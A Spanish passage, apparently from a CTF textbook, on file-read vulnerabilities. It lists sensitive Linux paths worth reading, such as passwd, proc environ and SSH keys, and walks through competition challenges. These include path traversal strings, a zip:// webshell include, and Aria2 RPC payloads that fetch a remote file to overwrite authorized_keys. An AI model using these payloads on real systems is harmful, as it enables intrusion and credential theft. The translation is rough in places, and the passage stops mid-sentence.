existen vulnerabilidades de lectura de archivos en el lado del cliente, principalmente basadas en vulnerabilidades XSS para leer archivos locales.
Navegador/Flash XSS: En general, muchos navegadores deshabilitan las operaciones JavaScript relacionadas con la lectura de archivos locales, como solicitar un sitio web remoto, si su código JavaScript utiliza el protocolo File para leer archivos locales del cliente, lo que puede fallar debido a la estrategia de mismo origen.
Sin embargo, las operaciones en el proceso
de desarrollo del navegador pueden eludir estas medidas, como una vulnerabilidad de lectura de archivos locales del lado del cliente en Safari, descubierta en agosto de 2017.
Analizador de Sintaxis de Markdown XSS: Similar a XSS, los analizadores de Markdown también tienen cierta capacidad para analizar JavaScript. Sin embargo, la mayoría de estos analizadores no restringen las operaciones de lectura de archivos locales como lo hacen los navegadores y rara vez tienen salvaguardias similares a la estrategia de mismo origen.
Rutas Comunes para las Vulnerabilidades de Lectura de Archivos 1.3.2.1 Linux: 1. Nombre de la bandera (ruta relativa): Durante las competencias CTF, a veces necesitamos adivinar o probar el nombre real del archivo de bandera. Por favor, ten en cuenta los siguientes nombres de archivo y sufijos, y toma tus propias decisiones de acuerdo con la información del desafío y el entorno del desafío.
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /f l ag(.txt|.php|.
pyc|.py...) /f l ag(.txt|.php|.pyc|.py ...) f l ag(.txt|.php|.pyc|.py ...) [dir_you_know]/f l ag(.txt|.php|.pyc|.py ...) ... /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/f l ag(.txt|.
php|.pyc|.py) /etc/f l ag(.txt|.php|.pyc|.py ...) ... /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /tmp/f l ag (.txt|.php|.pyc|.py...)
... /f l ag(.txt|.php|.pyc|.py ...) ... /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /root/f l ag(.txt|.php|.
pyc|.py ...) ... /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /home/f l ag(.txt|.php|.pyc|.py) /home/f l ag(.txt|.php|.pyc|.py ...) ... /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /home/[user_you_know /home/ [user_you_know]/f l ag(.txt|.php|.pyc|.py ...)
información del servidor (ruta absoluta): A continuación se presenta una lista de partes comunes de las competencias en línea de CTF que debes conocer. Se recomienda que
el lector repase estos archivos después de leer este libro y aprenda sobre los archivos comunes que no se enumeran.
(1) Directorio /etc: El directorio /etc contiene principalmente varios archivos de configuración de aplicaciones o del sistema, por lo que sus archivos son los objetivos principales para la lectura de archivos.
(2) Archivo /etc/passwd: El archivo /etc/passwd es un archivo del sistema Linux que almacena información de usuario y su directorio de trabajo, es legible por todos los usuarios/grupos y generalmente se utiliza como punto de referencia para determinar la
existencia de vulnerabilidades de lectura de archivos en un sistema Linux. La lectura de este archivo nos dice qué usuarios existen en el sistema, a qué grupos pertenecen y cuál es su directorio de trabajo.
(3) Archivo /etc/shadow: /etc/shadow es un archivo del sistema Linux que almacena información de usuario y (posiblemente) contraseñas (hash). Solo el usuario/grupo root puede escribir en este archivo y ningún usuario puede leerlo excepto el usuario root/shadow, por lo que generalmente no es legible en competencias CTF.
(4) /etc/apache2/: /etc/apache2/ son los
archivos de configuración de Apache que te permiten obtener información sobre los directorios web, los puertos de servicio, etc. Algunos desafíos CTF requieren filtrar la ruta web.
(5) /etc/nginx/: /etc/nginx/ son los archivos de configuración de Nginx (en sistemas como Ubuntu) que te permiten obtener información sobre los directorios web, los puertos de servicio, etc.
(6) /etc/apparmor(.d)/: /etc/apparmor(.d)/ es el archivo de configuración de Apparmor que se puede utilizar para obtener una lista blanca o lista negra de llamadas al sistema para cada aplicación. Por ejemplo, puedes leer el archivo de configuración para ver si las llamadas al sistema están deshabilitadas por MySQL y así determinar si puedes usar UDF (Funciones Definidas por el Usuario) para ejecutar comandos del sistema.
(7) /etc/(cron.d/|crontab): /etc/(cron.d/|crontab) son archivos de cron. Algunos desafíos CTF configurarán servicios de cron y la lectura de estos archivos de configuración revelará directorios ocultos u otros archivos.
(8) /etc/environment: /etc/environment es uno de los archivos de configuración de variables de entorno. Las variables de entorno pueden filtrar mucha información de directorios e incluso puede filtrarse una clave secreta.
(9) /etc/hostname: /etc/hostname representa
el nombre del host.
(10) /etc/hosts: /etc/hosts es una tabla estática de búsquedas de nombres de host que contiene información sobre pares de direcciones IP para un dominio dado. Con este archivo, los jugadores CTF podrían obtener información de red e IPs/dominios de intranet.
(11) /etc/issue: /etc/issue especifica la versión del sistema.
(12) /etc/mysql/: /etc/mysql/ son los archivos de configuración de MySQL.
(13) /etc/php/: /etc/php/ son los archivos de configuración de PHP.
(14) Directorio /proc: El directorio /proc generalmente almacena información variada sobre el funcionamiento dinámico de los procesos y es esencialmente un directorio virtual. Nota: Si visualizas la información de un proceso que no es el actual, entonces el PID puede ser obtenido por fuerza bruta. Si deseas ver el proceso actual, solo necesitas reemplazar /proc/[pid]/ por /proc/self/.
El archivo cmdline en el directorio correspondiente puede leer información más sensible, por ejemplo, al iniciar sesión en MySQL usando mysql -uxxx -pxxxx se mostrará la contraseña en texto plano en el archivo cmdline.
/proc/[pid]/cmdline (apunta al comando de terminal correspondiente al proceso): A veces no podemos obtener el directorio actual de la aplicación para saltar directamente al directorio actual con el comando cwd.
/proc/[pid]/cwd/ (points to the running directory of the process)
Puede haber una secret_key en la variable de entorno, que también se puede leer desde el environ.
/proc/[pid]/environ (variables de entorno que apuntan al tiempo de ejecución del proceso) (15) Otros Directorios Puede haber otras rutas al archivo de configuración de Nginx.
/usr/local/nginx/conf/* (instalación de código fuente u otro sistema) Archivos de registro.
/var/log/* (Aplicaciones web que a menudo usan Apache 2 pueden leer / var/log/apache2/access.log) (analizar los registros y robar los pasos de solución de otros jugadores).
Directorio raíz web predeterminado de Apache.
/var/www/html/ Directorio de sesiones PHP.
/var/lib/php(5)/sessions/ (divulgación de la sesión del usuario) Directorio del usuario.
[directorio_del_usuario_que_conoces]/.bash_history (Divulgación del historial de
comandos) [directorio_del_usuario_que_conoces]/.bashrc (Variables ambientales parciales) [directorio_del_usuario_que_conoces]/.ssh/id_rsa(.pub) (clave privada/clave pública para inicio de sesión SSH) [directorio_del_usuario_que_conoces]/.viminfo (registro de uso de vim) A veces queremos leer el archivo ejecutable de la aplicación actual para analizarlo, pero en la práctica puede haber medidas de seguridad que nos impidan leer el archivo ejecutable. En este caso, podemos intentar leer /proc/self/exe.
/proc/[pid]/fd/(1|2...) (leer stdout o stderr o lo que [pid] apunta al proceso) /proc/[pid]/maps (mapa de memoria de [pid] para el proceso) /proc/[pid]/(mounts|mountinfo) es comúnmente encontrado en entornos Docker.
(En este caso, mounts revela algunas rutas sensibles).
/proc/[pid]/net/* ([pid] apunta a la información de red del proceso, por ejemplo, leer TCP obtendrá el puerto TCP al que está vinculado el proceso) (ARP filtrará información de IP de intranet en el mismo segmento) 1.3.2.2 Windows La vulnerabilidad de lectura arbitraria de archivos en aplicaciones web de Windows no es común
en desafíos CTF, pero hay un problema cuando se utiliza Windows con PHP: es posible usar símbolos como “<” como comodines para leer archivos sin conocer el nombre completo del archivo. Los contenidos se describen en detalle en los siguientes ejemplos.
1.3.3 Ejemplo de Vulnerabilidad de Lectura de Archivos Basado en una gran cantidad de desafíos CTF relevantes, esta sección presenta casos del mundo real de vulnerabilidades de lectura de archivos.
1.3.3.1 Soldados Astutos (HCTF 2016) 【Introducción】 La primera mitad del
argumento de ruta pasado a la función include puede ser controlada por un atacante, la segunda mitad del contenido está determinada y la parte incontrolable es el sufijo .php.
...
$fp = empty($_GET['fp']) ? 'fail' : $_GET['fp'];
if(preg_match('/. \cr. /', $fp)){ die('¡No No No!');
} if(preg_match('/rm/i', $_SERVER["QUERY_STRING"]){ die();
} ...
if($fp ! == 'fail') { if(! (include($fp.'.php'))) { Hay una función de carga de archivos en
upload.php, pero el nombre del archivo cargado en el servidor no está controlado.
...
// function.php función create_imagekey(){ return sha1($_SERVER['REMOTE_ADDR']. $_SERVER['HTTP_USER_AGENT'].
time().mt_rand());
}
//upload.php $imagekey = create_imagekey();
move_uploaded_file($name, "uploads/$imagekey.png");
echo "<script>location.href='?fp=show&imagekey=$imagekey'</ script>";
[Dificultad】 Moderada.
【Conocimiento】 Utilización de filtro del protocolo php://; inclusión de archivos a través del protocolo zip://.
【Resolución del desafío】 Comienza el desafío, encuentra solo un formulario de carga de archivos en la página de inicio, primero carga un archivo normal para hacer pruebas. Mediante la interceptación de paquetes en la red local, encontramos que
los datos POST se transfieren a "/?fp=upload", luego sigue el flujo del paquete, encontraremos que el resultado salta a "/?fp=show&imagekey=xxx".
A partir de ahí, la dirección del pensamiento variará para jugadores con diferentes niveles de experiencia.
(1) Paso 1 Jugadores novatos: Continúan probando la función de carga de archivos.
Jugadores experimentados: Al ver el argumento fp, lo asocian con un puntero de archivo, es decir, el valor de fp puede estar relacionado con un archivo.
(2) Paso 2 Jugadores novatos: ¿Cómo podría
eludir el mecanismo de protección de carga de archivos?
Jugadores experimentados: van directamente a show.php, upload.php, o intentan encontrar un archivo PHP con un nombre que tenga el significado especial de show o upload, o cambian show/upload a otro archivo conocido con el nombre "home".
Para jugadores más experimentados: cambian el contenido del parámetro fp a "./show" ".. /html/show", etc. No podemos conocer la ruta exacta del archivo objetivo que contiene y si es una ruta extraña, no podemos encontrar el archivo PHP original,
por lo que el formato "./show" es una buena solución a este problema que facilita determinar si existe una vulnerabilidad de inclusión de archivos arbitraria.
(3) Paso 3 Jugadores novatos: Este desafío debe requerir un 0day para eludir la protección. Debería rendirme.
Jugadores experimentados: Según los resultados de acceder directamente a "show.php/ upload.php" y "?fp=home", se juzga que existe una vulnerabilidad de inclusión de archivos.
Utiliza el mecanismo de filtro para construir datos de ataque como "php://filter/convert.base64-encode/resource=xxx". Lee archivos y obtén el código fuente de varios archivos; usa el protocolo zip:// con el archivo Zip cargado, incluyendo un archivo Webshell comprimido; luego llama al Webshell en el paquete comprimido a través del protocolo zip://, y el enlace para acceder a este Webshell es:
?fp=zip://uploads/fe5e1c43e6e6bcfd506f0307e8ed6ec7ecc3821d.png% 231&shell=phpinfo();
fe5e1c43e6e6bcfd506f0307e8ed6ec7ecc3821d.png (zipf i le) 1.php (phpf i le) => "<?php eval($_GET['shell']);?>
El desafío primero examina la capacidad del jugador para encontrar cualquier vulnerabilidad relacionada con la lectura/inclusión de archivos a través de pruebas de caja negra. Cada persona tiene su propio método único de pruebas. Las ideas escritas arriba son solo para referencia.
Cuando se realiza una prueba de caja negra, debemos capturar las palabras clave en los parámetros y tener una cierta capacidad de asociación.
Examinar el uso de Filtros por parte de los jugadores, como php://filter/convert.base64-encode (codificar la secuencia de archivo a través de Base64).
Examinar el uso del protocolo zip:// por parte de los jugadores: Tratar la secuencia de archivo como una secuencia de archivo Zip y usar "#" (%23) para seleccionar la secuencia de archivo del archivo especificado en el paquete comprimido.
Es posible que no entiendas el punto , pero aquí tienes la explicación. Cuando cargamos un archivo Zip en el servidor y este archivo
Zip se analiza utilizando el protocolo zip://, el archivo Zip se analiza automáticamente según su estructura de archivo y luego el archivo Zip se indexa por "# (código URL correspondiente %23) +nombrearchivo" (En el ejemplo anterior, un archivo llamado 1.php se almacena internamente). En este caso, toda la secuencia de archivo se localiza en 1.php, por lo que el contenido de inclusión es el contenido de 1.php, como se muestra en la Figura 1.65.
1.3.3.2 PWNHUB-Classroom 【Introducción】 Desarrollado con el marco
de Django y configurado un directorio de recursos estáticos de manera insegura.
#urls.py
from django.conf.urls import url
from.import views
urlpatterns = [url('^$', views.IndexView.as_view(), name='index'), url('^login/$', views.LoginView.as_view(), name='login'), url('^logout/$', views.LogoutView.as_view(), name='logout'), url('^static/(?P<path>.*)', views.StaticFilesView.as_view(),
name='static')] ...
##views.py
...
class StaticFilesView(generic.View):
content_type = 'text/plain'
def get(self, request, *args, **kwargs):
Filename = self.kwargs['path'] f i lename = os.path.join(settings.BASE_DIR, 'students', 'static' filename) name, ext = os.path.splitext(f i lename) if ext in ('.py', '.conf', '.sqlite3', '.yml'):
raise exceptions.PermissionDenied('Permiso denegado') try:
return HttpResponse(FileWrapper(open(f i lename, 'rb'), 8192), content_type=self.content_type) except BaseException as e:
raise Http404('Archivo estático no encontrado')
Dificultad】 Moderada. 【Conocimiento】 Vulnerabilidad de lectura de archivo en Python (Django) causada por error de configuración de recursos estáticos; Decompilación de archivos de bytecode Pyc; Inyección en el ORM del framework Django. 【Resolución del desafío】 Primera vulnerabilidad: El código primero coincide con el contenido después de la ruta de URL "static/" proporcionada por el usuario, y luego pasa este contenido a "os.path.join", formando una ruta absoluta después de concatenar con algunos directorios predeterminados del sistema, y luego realiza la comprobación del nombre de sufijo. Después de la comprobación, la ruta absoluta se pasa a la función "open()", se lee el contenido del archivo y se devuelve al usuario.
La segunda vulnerabilidad se encuentra en la clase "LoginView" de "views.py". Como puedes ver, después de cargar los datos JSON proporcionados por el usuario, los datos cargados se pasan directamente a "x.objects.filter" (una función ORM nativa de Django).
.. class LoginView(JsonResponseMixin, generic.TemplateView): template_name = 'login.html' def post(self, request, *args, **kwargs): data = json.loads(request.body.decode())) stu = models.Student.objects.f i lter(**data).f i rst() if not stu or stu.passkey ! = data['passkey']: return self._jsondata('', 403) else: request.session['is_login'] = True return self._jsondata('', 200) ... abre el enlace del reto y podrás ver la información del servidor en el encabezado de respuestas http.
Server: gunicorn/19.6.0 Django/1.10.3 CPython/3.5.2
Sabemos ahora que el framework Django de Python desarrolla el reto. Cuando topamos una situación donde no podemos ver el código fuente en retos relacionados a python , primero podemos verificar si hay alguna vulnerabilidad en el directorio traversal (tal vez un configuración insegura de Nginx o el framework de Python), usaremos “/etc/passwd” como auditoría para lectura del archivo, y la ruta solicitada es: /static/../../../../../../etc/passwd
Se puede hallar que algún archivo de lectura vulnerable existe,pero cuando queremos leer los archivos que contienen el código fuente, Se descubrió que el servidor ha filtrado varias extensiones comunes de archivos, incluyendo extensiones de Python, extensiones de archivos de configuración, extensiones de archivos Sqlite y YML.
Extensión de archivo: if ext in ('.py', '.conf', '.sqlite3', '.yml'): raise exceptions.PermissionDenied('Permission deny') ¿hay otra manera de obtener el código fuente?
Cuando ejecutas un archivo en python 3, el módulo ejecutándose está almacenado en caché y almacenado en la __pycache__ directory, donde el archivo PYC bytecode se llama de la manera siguiente:
[module_name]+".cpython-3"+[\d](python3 minor version number) + ". pyc" __pycache__/views.cpython-34.pyc es un ejemplo de un archivo. Así podemos los archivos en caché y obtener el código fuente.
Reemplaza la ruta del exploit de la siguiente manera:
/static/.. /__pycache__/urls.cpython-35.pyc Ahora leemos exitosmente el arhivo PYC bytecode.
Lee todos los archivos PYC y luego decompila el archivo PYC bytecode para obtener el código fuente. Revisando el código fuente obtenido, encontramos una vulnerabilidad a inyección ORM, la cuál se puede explotar para obtener la bandera contenids,vea la figura 16.
Los jugadores de retos captura la bandera,deben juzgar el entorno del reto a través del entorno del reto,a través de la huella en el encabezado http. Por supuesto,servirá para integrar y adquirir experiencia y algunas habilidades,las cuáles serán necesarias acumularlas a través de la práctica.
Debe estar familiarizado con el entorno y el marco de aplicación web utilizados por el desafío CTF. Incluso si los jugadores de CTF no están familiarizados al principio, deben construir y aprender rápidamente las características del entorno y el marco, o consultar el manual. Nota: Configurar rápidamente un entorno y aprender características es la habilidad básica de los jugadores de CTF para resolver desafíos web.
Capaz de encontrar una vulnerabilidad de traversal de directorio a través de pruebas de caja negra y luego utilizar esta vulnerabilidad para leer archivos arbitrarios.
Auditoría del código fuente, de acuerdo con, después de comprender las características del marco, se obtiene la bandera a través de una inyección ORM.
Muéstrame la Shell I (TCTF/0CTF 2018 Final) 【Introducción】 La vulnerabilidad del desafío es evidente. La función UpdateHead es la función encargada de actualizar el avatar. El protocolo de la URL proporcionada
por el usuario puede ser el protocolo File, y luego se desencadena la vulnerabilidad de lectura de archivos arbitrarios en el componente de la URL en la función Download. // UserController.class ... @RequestMapping(value={"/headimg.do"}, method={org.springframework.web.bind.annotation.RequestMethod.GET}) public void UpdateHead(@RequestParam("url") String url) { String downloadPath = this.request.getSession().getServletContext().getRealPath("/") + "/headimg/"; String headurl = "/headimg/" +
HttpReq.Download(url, downloadPath); User user = (User)this.session.getAttribute("user"); Integer uid = user.getId(); this.userMapper.UpdateHeadurl(headurl, uid); } ... // HttpReq.class ... public static String Download(String urlString, String path) { String filename = "default.jpg"; if (endWithImg(urlString)) { try { URL url = new URL(urlString); URLConnection urlConnection = url.openConnection(); urlConnection.setReadTimeout(5000); int size = urlConnection.getContentLength(); if (size < 10240) { InputStream is = urlConnection.getInputStream();
【Dificultad】 Fácil.
【Conocimiento】 El protocolo de archivo del componente URL de Java.
【Resolución del desafío】 Descompila el archivo de bytecode de la clase Java (JD); Encuentra las vulnerabilidades en el código fuente a través de una auditoría de código.
【Resumen】 Los jugadores de CTF deben acumular experiencia y comprender los protocolos de los componentes URL. La diapositiva compartida después del juego se muestra en la Figura 1.67.
1.3.3.4 BabyIntranet I (SCTF 2018) 【Introducción】 Este desafío está desarrollado utilizando el framework Rails, y existe una vulnerabilidad de ejecución de código remoto de Ruby On Rails (CVE-2016-0752), y el archivo se puede leer de manera arbitraria (la causa raíz de la vulnerabilidad es una vulnerabilidad de inclusión de archivo).
def show render params[:template] end Al leer el código fuente, se revela que la aplicación utiliza el módulo de serialización de cookies de Rails para construir datos deserializados maliciosos al leer la clave de la aplicación, lo que ejecuta código malicioso.
#conf i g/initializers/cookies_serializer.rb Rails.application.conf i g.action_dispatch.cookies_serializer = :json 【Dificultad】 Moderada.
【Conocimiento】 Vulnerabilidad de lectura de archivos arbitrarios en el framework Ruby On Rails; Vulnerabilidad de deserialización de cookies de Rails.
[Resolución del desafío】 Realizar detección de huellas dactilares en la aplicación y encontrar la aplicación desarrollada a través del marco de trabajo Rails a través de la información de huellas dactilares.
Luego puedes encontrar el enlace simbólico /layouts/c3JjX21w en el código fuente HTML, realizar decodificación Base64 en la parte posterior al enlace simbólico y descubrir que el contenido es src_ip.
Revisa las vulnerabilidades relacionadas con Rails para encontrar vulnerabilidades de renderización de plantillas dinámicas (CVE-2016-0752), codifíca
../../../../../../etc/passwd en Base64 y colócalas en diseños, luego regresa exitosamente/.Los contenidos de /etc/passwd file.
Al tratar de renderizar el arhivo ((../log/development.log)
falla al ejecutar código arbitrario, no se encontraron permisos para representar este archivo, se leyó todo el código legible o archivos de configuración, y se descubrió que se usaba el módulo cookies_serializer.
Intenta leer las variables de entorno del usuario actual y descubre que no hay permisos, luego intenta leer /proc/self/environ.
Después de obtener la clave, utiliza el módulo de ataque de deserialización de Ruby correspondiente en Metasploit para explotar la vulnerabilidad.
[Resumen] Lectura arbitraria de archivos a través de la vulnerabilidad de ejecución de código remoto en Ruby On Rails (CVE-2016-0752) (el autor modificó el código de la vulnerabilidad y codificó la ruta usando codificación Base64), como se muestra en la Figura 1.68.
El servidor prohíbe el permiso de lectura del registro, por lo que no es posible ejecutar código arbitrario directamente al renderizar el registro. Al leer el código fuente, podemos encontrar que se utiliza el módulo de Cookie Serialize de Rails en la aplicación. El mecanismo de procesamiento de todo el módulo consiste en serializar los datos de sesión reales y cifrarlos en modo AES-CBC y luego codificarlos dos veces con Base64. El flujo de procesamiento se muestra en la Figura 1.69.
Esto también es confirmado por la palabra clave Set-Cookie en la respuesta del servidor, consulta la Figura 1.70.
Podemos obtener las variables de entorno guardadas en /proc/self/environ a través de vulnerabilidades de lectura arbitraria de archivos, encontrar la secret_key utilizada para el cifrado AES y luego usar la secret_key para cifrar datos serializados maliciosos. De esta manera, cuando el servidor realice la operación de deserialización, desencadenará la vulnerabilidad para ejecutar código malicioso, como se muestra en la Figura 1.71.
SimpleVN (BCTF 2018) 【Introducción】 La función del desafío se divide principalmente en los siguientes dos puntos.
(1) El usuario puede establecer una plantilla para ser renderizada, pero esta plantilla tiene ciertas restricciones. Solo se pueden usar "." y letras y números. Además, la API funcional de la plantilla de renderización solo permite que se hagan solicitudes desde 127.0.0.1 (local).
...
const checkPUG = (upug) => { const f i leterKeys = ['global', 'require'] return /^[a-zA-z0-9.]*$/g.test(upug) && !f i leterKeys.some(t => upug.toLowerCase().includes(t)) } ...
console.log('Generando plantilla pug') const uid = req.session.user.uid const body = #{${upug}} console.log('body', body) const upugPath = path.join('usuarios', utils.md5(uid), ${uid}.pug) console.log('upugPath', upugPath) try { fs.writeFileSync(path.resolve(conf i g.PATH_VISTAS, upugPath), body) } catch (err) { ...
(2) En el desafío, una API envía una solicitud a través de un proxy local. El usuario ingresa la URL y el backend iniciará el navegador Chrome para solicitar esta URL, tomará una captura de pantalla de la página solicitada y la devolverá al usuario. Por supuesto, la URL enviada por el usuario también tiene ciertas restricciones, debe ser el HOST configurado localmente (127.0.0.1). Aquí hay un problema. La parte HOST del protocolo URL que pasamos en el protocolo File está vacía, por lo que esta comprobación también se puede eludir.
const checkURL = (shooturl) => { const myURL = new URL(shooturl) return conf i g.SERVER_HOST.includes(myURL.host) } 【Dificultad】 Moderada.
【Conocimiento】 El protocolo admitido por el navegador y el uso de view-source; Inyección de plantilla de Node; Encabezado de solicitud HTTP: Rango.
【Resolución del desafío】 Mediante la auditoría del código fuente, encontramos la vulnerabilidad de inyección de plantillas y la regla de solicitud del navegador en el lado del servidor, y encontramos la dirección de la solución: obtener la ruta de la bandera y leer el contenido de la bandera.
const FLAG_PATH =
path.resolve(constant.ROOT_PATH, '') ...
const FLAGFILENAME = process.env.FLAGFILENAME || '' ...
Obtén el nombre del archivo de la bandera inyectando process.env.FLAGFILENAME a través de la plantilla, luego obtén el directorio donde se encuentra toda la aplicación Node inyectando process.env.PWD a través de la plantilla y usa view-source: para mostrar el resultado parseado en etiquetas HTML, como se muestra en la Figura 1.72.
Lee FLAG_PATH en config.js usando f i le://+ ruta absoluta. Consulta la Figura 1.73.
Lee el contenido de la bandera y utiliza la palabra clave Range en el encabezado de solicitud HTTP para controlar el byte de inicio y el byte final de la salida. El contenido del archivo de la bandera en este desafío es tan grande que las solicitudes directas no pueden mostrar la parte real de la bandera, lo que necesita ser truncado en el medio, consulta la Figura 1.74.
【Resumen】
La vulnerabilidad de lectura arbitraria de archivos en el desafío no tiene nada que ver con NodeJS. En esencia, utiliza el protocolo admitido por el navegador, lo cual es un desafío relativamente nuevo
El principio de lectura de archivos es leer según la demanda y no a ciegas. Leer el contenido de los archivos a ciegas desperdiciará tiempo.
El mismo desafío relacionado con el uso de características del navegador es SEAFARING2 en el mismo juego, atacando el servidor selenium a través de la vulnerabilidad SSRF, controlando el navegador para solicitar f i le:/// para leer archivos locales. Los lectores pueden buscar este desafío si están interesados.
Google CTF 2018) 【Introducción】 Según la {{userQuery}} devuelta por el desafío, podemos pensar rápidamente que el desafío es una inyección de plantillas, que se puede probar usando la expresión matemática {{ 3*3 }}.
{ ...
"in_lang_query_is_spelled": "En francés, <b>
{{userQuery}}</b> se escribe como <b ng-bind="i18n.word(userQuery)"></b>.", ...
} Usando {{this.$parent.$parent.window.angular.module('demo')._invokeQueue[3][2][1]}} para leer algunos fragmentos de código y descubrir que se utiliza i18n.template para renderizar la plantilla, a través de i18n.template('./f l ag.txt') se lee la bandera.
【Dificultad】 Moderada.
【Conocimiento】 Inyección de plantillas de Node; leer la bandera a través de i18n.template.
【Resolución del desafío】 Primero, encuentra la inyección de plantillas, usa la inyección de plantillas para recopilar información, después de obtener suficiente información, utiliza la inyección de plantillas, llama a la función de lectura de archivos para leer el archivo de la bandera.
【Resumen】 El desafío involucra conocimiento de la inyección de plantillas de Node, requiere que los jugadores comprendan la sintaxis de la plantilla; convirtiendo la vulnerabilidad de inyección de plantillas en una vulnerabilidad de lectura de archivos.
Viendo Animated Get the Flag (PWNHUB) 【Introducción】 Escaneando los subdominios, encontré un sitio que registraba el proceso de construcción del entorno del desafío (blog.loli.network) y descubrí que el archivo de configuración de Nginx es el siguiente:
location /bangumi { alias /var/www/html/bangumi/;
} location /admin { alias /var/www/html/yaaw/;
} Después de explotar la travesía de directorios, se encontró el archivo de
configuración de Aria2 en el directorio padre, consulta la Figura 1.75.
También se descubrió que el servicio Aria2 está abierto en el puerto 6800 del servidor del desafío.
enable-rpc=true rpc-allow-origin-all=true seed-time=0 disable-ipv6=true rpc-listen-all=true rpc-secret=FLAG{enrealidadestanoeslaverdaderabandera} 【Dificultad】 Moderada.
【Conocimiento】 Mala configuración de Nginx que lleva a la travesía de directorios; Vulnerabilidad de escritura arbitraria de archivos de Aria2.
【Resolución del desafío】 Primero, recopila la información necesaria, incluidos los directorios, subdominios, etc. Se descubrieron errores de configuración de Nginx durante las pruebas (según el archivo de configuración de Nginx obtenido en el paso anterior de recopilación de información, la vulnerabilidad de travesía de directorios también se puede encontrar directamente a través de pruebas de caja negra. La condición crítica para realizar pruebas de caja negra es comprender las características de Nginx y sus posibles vulnerabilidades. Esto también nos puede ahorrar el tiempo
necesario para la recopilación de información y pasar directamente al segundo paso de resolución del desafío). Usa la travesía de directorios de Ngnix para obtener el archivo de configuración de Aria2, obtén el rpc-secret y utiliza el rpc-secret para aprovechar la vulnerabilidad de escritura arbitraria de archivos de Aria2 para escribir la clave pública ssh en el servidor.
Primero, envía la siguiente carga útil para configurar la opción allowoverwrite del lado del servidor en verdadero.
{ "jsonrpc":"2.0", "method":"aria2.changeGlobalOption", "id":1, "params":
[ "token:FLAG{infactthisisnotthecorrectf l ag}", { "allowoverwrite":"true" } ] }
Luego llama a la API para descargar el archivo remoto, sobrescribe cualquier archivo local (aquí, sobrescribe directamente la clave pública SSH) e inicia sesión para obtener la bandera a través de SSH.
{ "jsonrpc":"2.0", "method":"aria2.addUri", "id":1, "params":
[ "token:FLAG{infactthisisnotthecorrectf l ag}", ["http://x.x.x.x/1.txt"], { "dir":"/home/bangumi/.ssh", "out":"Authorized_keys".
} ] }
El Año 2013 (PWNHUB) 【Introducción】 (1) Se descubre la existencia del archivo .DS_Store. Consulta la Figura 1.76.
(2) El archivo .DS_Store filtra la estructura actual del directorio. A través del análisis del archivo .DS_Store, se descubre que hay directorios como upload y pwnhub.
El directorio pwnhub está configurado para ser prohibido en el archivo Nginx (el archivo de configuración de Nginx no se puede obtener en las primeras etapas del juego y solo se puede juzgar por el código HTTP 403). El contenido de la configuración es el siguiente:
location /pwnhub/ { deny all;
} (4) Hay un directorio oculto en el mismo nivel en pwnhub, el archivo index.php en él puede cargar cualquier paquete comprimido TAR, y se llama al script de Python para
descomprimir automáticamente el paquete comprimido cargado y, al mismo tiempo, se devuelve el contenido del archivo con el sufijo .cfg en el paquete comprimido.
<?php // Establecer la codificación en UTF-8 para evitar caracteres chinos ilegibles.
header('Content-Type:text/html;charset=utf-8');
# Salir cuando no se carguen archivos $file = $_FILES['upload'];
# Imprevisibilidad del nombre de archivo $salt = Base64_encode('8gss7sd09129ajcjai2283u821hcsass').mt_rand (80,65535);
$name = (md5(md5($file['name']. $salt). $salt).' .tar');
if (!isset($_FILES['upload']) or !is_uploaded_file($file['tmp_name'])) { exit;
} # Mover archivos a la carpeta apropiada if (move_uploaded_file($file['tmp_name'], "/tmp/pwnhub/$name")) { $cfgName = trim(shell_exec('python /usr/local/nginx/html/6c58c8751bca32b9943b34d0ff29bc16/untar.py /tmp/pwnhub/'.
$name)); y $name));
$cfgName = trim($cfgName);
echo "<p>La configuración de actualización se ha realizado correctamente, con el siguiente contenido</p>";
// echo '<br/>';
echo '<textarea cols="30" rows="15">';
readfile("/tmp/pwnhub/$cfgName");
echo '</textarea>';
}
else { echo("Failed!");
} ?> #/usr/local/nginx/html/6c58c8751bca32b9943b34d0ff29bc16/untar.py import tarf i le import sys import uuid import os def untar(f i lename):
os.chdir('/tmp/pwnhub/') t = tarf i le.open(f i lename, 'r') for i in t.getnames():
if '...' in i or '.cfg' ! = os.path.splitext(i)[1]:
return 'error' else:
try:
t.extract(i, '/tmp/pwnhub/') except Exception, e:
return e else:
cfgName = str(uuid.uuid1()) + '.cfg' os.rename(i, cfgName) return cfgName if __name__ == '__main__':
f i lename = sys.argv[1] if not tarf i le.is_tarf i le(f i lename):
exit('error') else:
print untar(f i lename) (5) By analyzing the Linux crontab tasks, it was found that there exists a cron task.
30 * * * * root sh /home/jdoajdoiq/jdijiqjwi/jiqji12i3198ua x192/cron_run.sh (6) cron_run.sh executes a Python script that sends an email, which reveals the email account and password.
#coding:utf-8 import smtplib from email.mime.text import MIMEText mail_user = 'ctf_dicha@21cn.com' mail_pass = '634DRaC62ehWK6X' mail_server = 'smtp.21cn.com' mail_port = 465
Inicia sesión a través de la información de correo filtrada y continúa buscando la contraseña de la cuenta de VPN filtrada en el correo. Consulta la Figura 1.77. (8) Inicia sesión en la intranet a través de VPN y encuentra un contenedor Nginx con una aplicación de bandera legible, pero al acceder a la aplicación, solo se muestra "Oh Hacked" y no hay otra salida disponible. Hay una aplicación Discuz! X 3.4 con Apache como contenedor en otros puertos bajo la misma IP. ... $flag = "xxxxxxxxx"; include 'safe.php'; if ($_REQUEST['passwd'] = 'jiajiajiajia') { echo $flag;
}
[Dificultad]Moderada
[Conocimiento】 Nginx tiene una vulnerabilidad que permite el acceso no autorizado a un directorio, lo que conduce a una vulnerabilidad de lectura de archivos; construir un archivo zip con un archivo de enlace simbólico, cargar el archivo zip y leer archivos objetivo; Discuz!X 3.4 tiene una vulnerabilidad de eliminación arbitraria de archivos.
Resolución del desafío: Escaneo del directorio para encontrar el archivo .DS_Store (un archivo generado automáticamente de manera predeterminada en macOS, que se utiliza principalmente para registrar la ubicación de archivos en el directorio, por lo que contendrá nombres de archivos y otra información). Luego, se obtienen todos los subdirectorios y archivos en el directorio actual analizando el archivo .DS_Store. Utiliza el módulo ds_store para lograrlo. A continuación se muestra el código:
